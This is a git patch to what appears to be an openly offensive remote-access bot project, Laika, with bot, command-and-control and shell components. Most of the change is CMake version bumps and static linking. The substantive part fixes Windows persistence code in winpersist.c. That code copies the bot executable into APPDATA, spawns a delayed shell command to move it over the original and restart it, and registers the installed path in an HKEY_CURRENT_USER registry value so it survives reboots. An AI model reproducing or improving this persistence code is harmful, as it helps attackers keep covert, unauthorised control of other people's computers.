From f649ca4a56847e4d6a2124278173fd593b994486 Mon Sep 17 00:00:00 2001 From: CPunch Date: Sat, 14 May 2022 13:24:20 -0500 Subject: [PATCH] Win: Static builds & fixed winpersist.c --- .gitignore | 2 +- CMakeLists.txt | 27 ++++++++++++++++------- bot/CMakeLists.txt | 2 +- bot/win/winpersist.c | 41 ++++++++++++++++++++++++----------- cnc/CMakeLists.txt | 2 +- lib/CMakeLists.txt | 2 +- lib/include/lbox.h | 3 ++- shell/CMakeLists.txt | 2 +- tools/CMakeLists.txt | 2 +- tools/genkey/CMakeLists.txt | 2 +- tools/vmboxgen/CMakeLists.txt | 2 +- tools/vmtest/CMakeLists.txt | 2 +- 12 files changed, 58 insertions(+), 31 deletions(-) diff --git a/.gitignore b/.gitignore index 39e3573..9bd2361 100644 --- a/.gitignore +++ b/.gitignore @@ -5,4 +5,4 @@ bin lconfig.h lcontent.c lcontent.h -lboxconfig.h \ No newline at end of file +lboxconfig.h diff --git a/CMakeLists.txt b/CMakeLists.txt index daec3c7..e7c9545 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -1,4 +1,4 @@ -cmake_minimum_required(VERSION 3.10) +cmake_minimum_required(VERSION 3.16) project(Laika) set(CMAKE_C_STANDARD 11) @@ -30,13 +30,24 @@ endif () string(TOLOWER ${CMAKE_BUILD_TYPE} RAWCMAKEBUILDTYPE) message(STATUS "CMAKE_BUILD_TYPE: " ${RAWCMAKEBUILDTYPE}) if(RAWCMAKEBUILDTYPE STREQUAL "debug") - message(STATUS "Adding sanitizer...") - #set(SANITIZE_ADDRESS TRUE) - #add_sanitizers(LaikaLib LaikaBot LaikaCNC) - - # bug in FindSanitizer.cmake ??? idfk, i'll investigate l8tr - add_compile_options(-fsanitize=address) - add_link_options(-fsanitize=address) + if(WIN32) + # statically link debug libs for windows + message(STATUS "Adding MSVC Debug libs...") + set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreadedDebug") + else() + message(STATUS "Adding sanitizer...") + #set(SANITIZE_ADDRESS TRUE) + #add_sanitizers(LaikaLib LaikaBot LaikaCNC) + + # bug in FindSanitizer.cmake ??? idfk, i'll investigate l8tr + add_compile_options(-fsanitize=address) + add_link_options(-fsanitize=address) + endif () +else() + # statically link non-debug libs + if(WIN32) + set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded") + endif () endif () # include libsodium diff --git a/bot/CMakeLists.txt b/bot/CMakeLists.txt index 2b809ff..b6e30da 100644 --- a/bot/CMakeLists.txt +++ b/bot/CMakeLists.txt @@ -1,4 +1,4 @@ -cmake_minimum_required(VERSION 3.10) +cmake_minimum_required(VERSION 3.16) set(BOT_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include) diff --git a/bot/win/winpersist.c b/bot/win/winpersist.c index 4510a90..4bc4a59 100644 --- a/bot/win/winpersist.c +++ b/bot/win/winpersist.c @@ -55,7 +55,7 @@ HKEY openReg(HKEY key, LPCTSTR subKey) { return hKey; } -/* returns raw multi-string value from registry : see REG_MULTI_SZ at https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types */ +/* returns raw string value from registry */ LPTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) { LPTSTR str = NULL; DWORD ret; @@ -65,7 +65,7 @@ LPTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) { RegQueryValueEx(key, val, NULL, NULL, NULL, sz); if (*sz != 0) { - str = (LPCTSTR)laikaM_malloc(*sz); + str = (LPTSTR)laikaM_malloc(*sz); if ((ret = RegQueryValueEx(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS) LAIKA_ERROR("Failed to read registry!\n"); @@ -77,32 +77,48 @@ LPTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) { void writeReg(HKEY key, LPCTSTR val, LPTSTR data, DWORD sz) { LONG code; - if ((code = RegSetValueEx(key, val, 0, REG_MULTI_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS) + if ((code = RegSetValueEx(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS) LAIKA_ERROR("Failed to write registry!\n"); } void getExecutablePath(LPTSTR path) { - if (GetModuleFileName(NULL, path, MAX_PATH) == 0) + TCHAR modulePath[MAX_PATH] = {0}; + if (GetModuleFileName(NULL, modulePath, MAX_PATH) == 0) LAIKA_ERROR("Failed to get executable path!\n"); + + lstrcat(path, TEXT("\"")); + lstrcat(path, modulePath); + lstrcat(path, TEXT("\"")); + + LAIKA_DEBUG("EXE: %s\n", path); } void getInstallPath(LPTSTR path) { + TCHAR SHpath[MAX_PATH] = {0}; + /* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */ - if (SHGetFolderPath(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, path) != S_OK) + if (SHGetFolderPath(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK) LAIKA_ERROR("Failed to get APPDATA!\n"); - PathAppend(path, TEXT(LAIKA_INSTALL_DIR)); + PathAppend(SHpath, TEXT(LAIKA_INSTALL_DIR)); - if (!CreateDirectory(path, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) + if (!CreateDirectory(SHpath, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) LAIKA_ERROR("Failed to create directory '%s'!\n", path); - PathAppend(path, TEXT(LAIKA_INSTALL_FILE)); + PathAppend(SHpath, TEXT(LAIKA_INSTALL_FILE)); + + /* write to path */ + lstrcat(path, TEXT("\"")); + lstrcat(path, SHpath); + lstrcat(path, TEXT("\"")); + + LAIKA_DEBUG("INSTALL: %s\n", path); } /* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we spawn a shell to move the exe *after* we exit. */ void installSelf() { - TCHAR szFile[MAX_PATH], szInstall[MAX_PATH], szCmd[(MAX_PATH*4)]; + TCHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH*4)] = {0}; getExecutablePath(szFile); getInstallPath(szInstall); @@ -115,7 +131,7 @@ void installSelf() { LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall); /* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */ - lstrcpy(szCmd, TEXT("/C timeout /t 3 > NUL & move ")); + lstrcpy(szCmd, TEXT("/C timeout /t 3 > NUL & move /Y ")); lstrcat(szCmd, szFile); lstrcat(szCmd, TEXT(" ")); lstrcat(szCmd, szInstall); @@ -130,7 +146,7 @@ void installSelf() { } void installRegistry() { - TCHAR newRegValue[MAX_PATH]; + TCHAR newRegValue[MAX_PATH] = {0}; LPTSTR regVal; DWORD regSz; DWORD newRegSz; @@ -138,8 +154,7 @@ void installRegistry() { /* create REG_MULTI_SZ */ getInstallPath(newRegValue); - newRegSz = lstrlen(newRegValue) + 1; - newRegValue[newRegSz] = '\0'; + newRegSz = lstrlen(newRegValue); reg = openReg(HKEY_CURRENT_USER, TEXT(LAIKA_REG_KEY)); if ((regVal = readReg(reg, TEXT(LAIKA_REG_VAL), ®Sz)) != NULL) { diff --git a/cnc/CMakeLists.txt b/cnc/CMakeLists.txt index 12b11e8..754f228 100644 --- a/cnc/CMakeLists.txt +++ b/cnc/CMakeLists.txt @@ -1,4 +1,4 @@ -cmake_minimum_required(VERSION 3.10) +cmake_minimum_required(VERSION 3.16) set(CNC_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include) diff --git a/lib/CMakeLists.txt b/lib/CMakeLists.txt index 7e99b9d..4ab0d2e 100644 --- a/lib/CMakeLists.txt +++ b/lib/CMakeLists.txt @@ -1,4 +1,4 @@ -cmake_minimum_required(VERSION 3.10) +cmake_minimum_required(VERSION 3.16) set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include) diff --git a/lib/include/lbox.h b/lib/include/lbox.h index 023a278..cfdb065 100644 --- a/lib/include/lbox.h +++ b/lib/include/lbox.h @@ -107,10 +107,11 @@ LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) { } /* safely zeros the unlockedData using libsodium's api for clearing sensitive data from memory */ -LAIKA_FORCEINLINE void* laikaB_lock(struct sLaikaB_box *box) { +LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box) { sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE); sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE); } + /* include KEY_* & DATA_* macros for each obfuscated string */ #include "lboxconfig.h" diff --git a/shell/CMakeLists.txt b/shell/CMakeLists.txt index e3b2300..408087e 100644 --- a/shell/CMakeLists.txt +++ b/shell/CMakeLists.txt @@ -1,4 +1,4 @@ -cmake_minimum_required(VERSION 3.10) +cmake_minimum_required(VERSION 3.16) set(SHELL_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include) diff --git a/tools/CMakeLists.txt b/tools/CMakeLists.txt index 3194f4d..92a2ff2 100644 --- a/tools/CMakeLists.txt +++ b/tools/CMakeLists.txt @@ -1,4 +1,4 @@ -cmake_minimum_required(VERSION 3.10) +cmake_minimum_required(VERSION 3.16) add_subdirectory(vmboxgen) add_subdirectory(genkey) diff --git a/tools/genkey/CMakeLists.txt b/tools/genkey/CMakeLists.txt index a70c4d7..09e9f4e 100644 --- a/tools/genkey/CMakeLists.txt +++ b/tools/genkey/CMakeLists.txt @@ -1,4 +1,4 @@ -cmake_minimum_required(VERSION 3.10) +cmake_minimum_required(VERSION 3.16) project(genKey VERSION 1.0) diff --git a/tools/vmboxgen/CMakeLists.txt b/tools/vmboxgen/CMakeLists.txt index 5264a09..472a443 100644 --- a/tools/vmboxgen/CMakeLists.txt +++ b/tools/vmboxgen/CMakeLists.txt @@ -1,4 +1,4 @@ -cmake_minimum_required(VERSION 3.10) +cmake_minimum_required(VERSION 3.16) project(VMBoxGen VERSION 1.0) diff --git a/tools/vmtest/CMakeLists.txt b/tools/vmtest/CMakeLists.txt index f9cc981..c25f4c8 100644 --- a/tools/vmtest/CMakeLists.txt +++ b/tools/vmtest/CMakeLists.txt @@ -1,4 +1,4 @@ -cmake_minimum_required(VERSION 3.10) +cmake_minimum_required(VERSION 3.16) project(vmTest VERSION 1.0)